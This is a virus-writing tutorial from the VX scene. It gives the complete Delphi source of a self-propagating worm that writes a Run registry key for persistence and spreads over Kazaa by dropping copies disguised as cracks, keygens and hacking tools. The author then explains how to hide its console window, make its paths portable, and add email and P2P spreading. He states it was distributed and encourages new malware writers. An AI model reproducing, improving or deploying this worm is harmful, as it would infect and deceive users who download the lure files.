Simple Worm In Delphi And Corrections
by Hutley
+----------------------------------------------------------------------------+
|                                                                            |
|                   SIMPLE WORM IN DELPHI AND CORRECTIONS                    |
|                                                                            |
+----------------------------------------------------------------------------+

INTRODUCTION
------------
  Here I will go to explain to you the code of my first worm. Totaly written in
Delphi. It was my first creation of type WORM, because since then I had made 
only one Trojan and a creator of backdoors for mirc. As I wise person very as 
well as would not have to be one worm, I was programming it in accordance with
some things that I already had made with the Legionário Trojan - my first 
creation for world vx. After programmed and distributed, I 
decided to publish the code to have the opinion of other people who were more 
the time in the branch of that I.
  At that time, I was in another group (GEDZAC), then I asked for aid to the 
other members so that they evaluated my code and they pointed me the errors.
  The result was excellent.  Those mans (MachineDramon, Falckon, Sr.Muerte,
Pana_Infierno, DemionKlaz, and others), they had had spectacular a good will
in saying me where i committed errors and which the certain method of if making
so that mine worm did not lose its effectiveness.

THE SOURCE CODE
---------------

------------------------------------------------------------------------------

program porn;

{$APPTYPE CONSOLE}

{  I-Worm.Hutley.Cris
   Brasil! Rulez! }

// Please KAV Lab. this is I-Worm.Hutley.Cris
// it´s the original name! Understand?
uses
 Windows, SysUtils, Registry;

procedure ExecutaViaRegistro(nome, path: string);
var evrg: TRegistry;
begin
 evrg := TRegistry.Create;
 evrg.RootKey := HKEY_LOCAL_MACHINE;
 evrg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
 evrg.WriteString(nome, path);
 evrg.Destroy;
end;

procedure Kazaa;
var reg: Tregistry;
 Cris: array[0..260] of Char;
begin
 reg := TRegistry.Create;
 reg.RootKey := HKEY_CURRENT_USER;
 reg.OpenKey('Software\Kazaa\LocalContent', True);
 reg.WriteString('DisableSharing', '0');
 reg.writestring('dir0', '012345:' + 'C:\Windows\files');
 reg.writestring('dir1', '012345:' + 'C:\Windows\files');
 reg.writestring('dir2', '012345:' + 'C:\Windows\files');
 reg.writestring('dir3', '012345:' + 'C:\Windows\files');
 reg.writestring('dir4', '012345:' + 'C:\Windows\files');
 reg.writestring('dir5', '012345:' + 'C:\Windows\files');
 CreateDirectory('C:\windows\files', nil);
 GetModuleFileNameA(0, Cris, SizeOf(Cris));
 CopyFile(Cris, 'C:\Windows\files\hotmail_hacker.exe', True);
 CopyFile(Cris, 'C:\Windows\files\hotmail_cracker.exe', True);
 CopyFile(Cris, 'C:\Windows\files\hotmail_account_sniffer.exe', True);
 CopyFile(Cris, 'C:\Windows\files\aim_hack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\msn_crack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\icq_hack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\WarDialer.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Delphi 6 - Serial Gen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\WinxpHack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Delphi 7 Crack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\win2k_serial_gen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\yahoo_hack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\ftp_crack.exe', True);
 CopyFile(Cris, 'C:\Windows\files\XP_keygen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\PS2_emulator_bleem.exe', True);
 CopyFile(Cris, 'C:\Windows\files\win2k_pass_decryptor.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Win2k_reboot_exploit.exe', True);
 CopyFile(Cris, 'C:\Windows\files\IIS_ShellBind.exe', True);
 CopyFile(Cris, 'C:\Windows\files\WinZip_KeyGen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Counter Strike_CD_Keygen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Delphi 2005 Keygen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Delphi 9 Keygen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Half_life Cd keygen.exe', True);
 CopyFile(Cris, 'C:\Windows\files\Hotmail Hacker.exe', True);
 CopyFile(Cris, 'C:\Windows\files\ICQ_Hackingtools.exe', True);
 CopyFile(Cris, 'C:\Windows\files\invisible_IP.exe', True);
end;

var
 Cris: array[0..260] of Char;
 
begin
 GetModuleFileNameA(0, Cris, SizeOf(Cris));
 if not (FileExists('C:\Windows\WinExec.exe')) then
 begin
  CopyFile(Cris, 'C:\Windows\WinExec.exe', True);
  ExecutaViaRegistro('WinExec', 'C:\Windows\WinExec.exe');
 end else
  ExecutaViaRegistro('WinExec', 'C:\Windows\WinExec.exe');
 Kazaa;
end.

------------------------------------------------------------------------------

AN EXPLANATION
--------------
  What this worm makes is only if auto to copy for a folder created for he himself.
When it is copied using several other names, it it has access to the register of the
system and makes with that this folder is shared by the KAZAA. It also creates only 
one copy of itself in the folder of windows, and writes in the register so that all 
time is executed that windows will be initiated.

THE CORRECTIONS
---------------
  1º - +--------------------+
       | {$APPTYPE CONSOLE} |
       +--------------------+
   This stretch, in Delphi, is called "directive compilation". Removing this directive
one, it makes with that the window console does not appear. The correct one is to remove it

  2º - +--------------------------------------------------------------+
       | CopyFile(Cris, 'C:\Windows\files\hotmail_hacker.exe', True); |
       +--------------------------------------------------------------+
   This line of command possesss a good idea, but its effectiveness is engaged.
     For two reasons it is engaged.  First - It copies itself for a folder that 
       will be add as shared for the KAZAA, this implies where, if the user will
       not have the KAZAA worm will not go to spread itself.  Second - as you 
       already must have noticed, the complete way of the archive already you 
       are placed, this you compromise worm if the user will have windows installed
       for example in unit E:.
     The way to kill these two problems would be, to place the auto possibility of 
       if also propagating for email and other programs of P2P.
     How much to the problem of the complete way, it is necessary to add to the code
       a function that will go to return the folder from windows, ai is enough to 
       add "files\hotmail_hacker.exe" and ready, this problem is decided.
     It sees the function that returns the folder from windows.
       
       function WinDir: string;
       begin
         SetLength(Result, MAX_PATH);
         Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
         Result := string(PChar(Result)) + '\';
       end;
     
     With this function in the code, that one same line of command would be thus:
       CopyFile(Cris, WinDir + 'files\hotmail_hacker.exe', True);

     The same thing if applies the commands:
       reg.writestring('dir0', '012345:' + 'C:\Windows\files');
     and too the:
       ExecutaViaRegistro('WinExec', 'C:\Windows\WinExec.exe');
  
THE END
-------
  These are the biggest problems of this worm basic that one day I broke the head to 
develop. I wait to have helped in the initiation of plus some coders for this wonderful
world that is of the creation of virus/worms/trojans.
  With world vx diminishing each time more, I believe to be important to make beginning
basic articles for with a language of easy learning and high level as delphi is.
  This is all staff.

+===============================================================================+
|         - Suggestions, critics: hutleyvx@gmail.com <> www.hutley.cjb.net      |
+===============================================================================+